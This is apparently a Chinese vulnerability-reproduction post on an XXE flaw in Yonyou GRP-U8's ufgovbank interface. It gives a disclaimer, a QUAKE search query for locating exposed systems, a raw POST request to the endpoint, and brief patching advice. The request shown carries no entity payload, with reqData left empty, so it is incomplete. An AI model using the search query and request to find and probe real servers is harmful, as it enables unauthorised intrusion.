漏洞复现
用友GRP-U8ufgovbank接口XXE漏洞
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。本文所提供的工具仅用于学习，禁止用于其他目的，推荐大家在了解技术原理的前提下，更好的维护个人信息安全、企业安全、国家安全。
产品介绍
漏洞介绍
漏洞编号：无
漏洞类型：xml外部实体注入漏洞
资产测绘
QUAKE=app:"body="login.jsp?up=1""
漏洞复现
POST /ufgovbank HTTP/1.1Host: 目标IPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Connection: closeContent-Length: 5Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzipreqData=&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
修复建议
1.更新到最新版本。
长按识别关注我们
原文始发于微信公众号（Guoxin 401）：漏洞复现|用友GRP-U8ufgovbank接口XXE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论